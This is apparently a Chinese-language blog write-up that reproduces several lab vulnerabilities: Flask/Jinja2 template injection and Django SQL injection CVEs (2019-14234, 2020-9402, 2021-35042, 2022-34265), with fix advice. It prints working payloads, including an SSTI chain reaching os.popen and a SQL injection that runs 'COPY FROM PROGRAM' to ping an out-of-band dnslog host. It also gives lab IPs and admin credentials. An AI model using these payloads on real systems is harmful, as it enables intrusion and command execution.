总字符数: 8.11K
代码: 2.02K, 文本: 2.54K
预计阅读时间: 20 分钟
Flask(Jinja2) 服务端模板注入漏洞
漏洞描述
Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站.
Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架.这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表.Flask 的依赖如下:
- Werkzeug 一个 WSGI 工具包
- jinja2 模板引擎
- Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的
- Jinja2 是 Flask 框架的一部分.Jinja2 会把模板参数提供的相应的值替换了
{{...}}
块 - Jinja2 模板同样支持控制语句,像在
{%…%}
块中
漏洞原理
先进入容器看一下web服务的代码
1 | from flask import Flask, request |
看到Template("Hello " +name)
,Template()
完全可控,那么就可以直接写入jinja2
的模板语言,如http://192.168.164.128:8000/?name={{3*3}}
当然发送这种情况不能由jinja2背锅,这完全是开发人员的编码不当,若我修改如下
1 | from flask import Flask, request |
就不存在模板注入
基础知识
Jinja2 的模板中执行 Python 代码
在jinja2中是可以直接访问python的一些对象及其方法的,如
字符串对象及其upper函数,列表对象及其count函数,字典对象及其has_key函数
那么如何在 Jinja2 的模板中执行 Python 代码呢?
如官方的说法是需要在模板环境中注册函数才能在模板中进行调用,例如想要在模板中直接调用内置模块os,即需要在模板环境中对其注册
那么,如何在未注册OS模块的情况下在模板中调用popen()函数执行系统命令呢?前面已经说了,在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量类型下的方法,用到常见的 Python 沙盒环境逃逸方法
利用 Python 特性
_bases_
以元组返回一个类直接所继承的类_mro_
以元组返回继承关系链_class_
返回对象所属的类_globals_
以dict返回函数所在模块命名空间中的所有变量_subclasses_()
以列表返回类的子类__builtin__
内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtin__中可以查到.查看的方法是dir(__builtin__)
ps:在py3中__builtin__被换成了builtin
_builtin_ 和 __builtins__之间是什么关系呢?
在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此.
非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身
Jinja2不能像字符串对象,列表对象那样直接引用(''
[]
),那如何拿到file对象呢?就用上面给的属性和方法,如
1 | for c in ().__class__.__bases__[0].__subclasses__(): |
用jinja的语法即为(执行命令使用os.popen(‘whoami’).read()才有执行结果的回显)
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
漏洞复现
使用上面的代码即可执行命令
1 | http://192.168.164.128:8000/?name={% for c in [].__class__.__base__.__subclasses__() %} |
工具探测
这里利用模板注入工具tplmap
1 | # 安装教程 |
修复建议
- 为了防止此类漏洞,你应该像使用eval()函数一样处理字符串加载功能.尽可能加载静态模板文件.
- 注意:我们已经确定此功能类似于require()函数调用.因此,你也应该防止本地文件包含(LFI)漏洞.不要允许用户控制此类文件或其内容的路径.
- 无论在何时,如果需要将动态数据传递给模板,不要直接在模板文件中执行,你可以使用模板引擎的内置功能来扩展表达式,实现同样的效果
Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)
漏洞描述
利用版本:
Django 主开发分支
Django 2.2.x < 2.2.4
Django 2.1.x < 2.1.11
Django 1.11.x < 1.11.23
漏洞分析
什么是JSONField
Django是一个大而全的Web框架,其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Postgresql了,Django官方也建议配合Postgresql一起使用.
相比于Mysql,Postgresql支持的数据类型更加丰富,其对JSON格式数据的支持也让这个关系型数据库拥有了NoSQL的一些特点.在Django中也支持了Postgresql的数据类型:
- JSONField
- ArrayField
- HStoreField
这三种数据类型因为都是非标量,且都能用JSON来表示,我下文就用JSONField统称了.
我们可以很简单地在Django的model中定义JSONField:
1 | from django.db import models |
然后,我们在视图中,就可以对detail字段里的信息进行查询了.
漏洞复现
首先登陆后台http://103.116.46.7:8000/admin/login/?next=/admin/
,用户名密码为admin
、a123123123
登陆后台后,进入模型Collection
的管理页面http://103.116.46.7:8000/admin/vuln/collection/
:
然后在GET参数中构造detail__a'b=123
提交,其中detail
是模型Collection
中的JSONField:
http://103.116.46.7:8000/admin/vuln/collection/?detail__a%27b=123
可见,单引号已注入成功,SQL语句报错:
构造语句
http://103.116.46.7:8000/admin/vuln/collection/?detail__a%27)%3D%271%27%20or%201%3d1%20--
由于or 1=1 永远为真,所以返回所有结果
Django一般与PostgreSQL一起配合使用,可以尝试利用PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)
首先访问
http://103.116.46.7:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_execs(cmd_output%20text)--%20
显示no results to fetch,语句已经执行
执行命令以下命令在hackbar执行,如果在地址栏执行可能需要二次编码
http://103.116.46.7:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_execs FROM PROGRAM 'ping pi95x1.dnslog.cn'--%20
可以看到,命令已经成功执行
Django GIS SQL注入漏洞(CVE-2020-9402)
漏洞概述
开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句
利用版本:
- 1.11.29之前的1.11.x版本
- 2.2.11之前的2.2.x版本
- 3.0.4之前的3.0.x版本
漏洞利用限制
1、使用了GIS中聚合查询的功能
2、用户在oracle的数据库且可控tolerance查询时的键名
漏洞复现
访问 139.196.87.102:8000
Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042)
漏洞概述
Django中QuerySet数据合集的order_by函数存在SQL注入漏洞.如果攻击者可以控制order_by传入的值,那么就可以注入恶意SQL语句造成SQL注入漏洞.
- 影响版本:
3.1.x < 3.1.13, 3.2.x < 3.2.5
- 条件:
Debug=True
- 接口使用
order_by
方法
漏洞复现
访问http://192.168.2.189:8000/
判断order_by:
访问http://192.168.2.189:8000/vuln/?order=-id
闭合方法:
APP名_数据库名.数据库存在的字段名);
1 | http://192.168.2.129:8000/vuln/?order=vuln_collection.id);select%20updatexml(1,concat(0x7e,(select%20@@version)),1)%23 |
漏洞修复
- 升级到3.2以上的安全版本
Django Extract & Trunc SQL注入漏洞(CVE-2022-34265)
漏洞概述
在受影响的Django版本中,可以通过传递恶意数据作为kind/lookup_name的值,如果应用程序在将这些参数传递给Trunc() 和 Extract() 数据库函数(日期函数)之前没有经过输入过滤或转义,则容易受到SQL注入攻击.将lookup_name 和kind choice限制在已知安全列表中的应用程序不受影响.
利用版本:
Django主分支
Django 4.0版本:< 4.0.6
Django 3.2版本:< 3.2.14
漏洞复现
环境启动后,你可以在http://192.168.2.189:8000/
看到一个页面.这个页面使用了Trunc函数来聚合页面点击数量,比如使用http://192.168.2.189:8000/?date=minute
即可看到按照分钟聚合的点击量:
修改date
参数即可复现SQL注入漏洞:
1 | http://192.168.2.189:8000/?date=minute'xxxx |
修复建议
目前此漏洞已经修复,受影响用户可以升级到以下版本:
Django 4.0版本:升级到4.0.6
Django 3.2版本:升级到3.2.14
注:此漏洞已在Django 主分支以及4.1、4.0 和 3.2 版本分支中修复,但Django 4.1版本目前处于测试状态.
下载链接: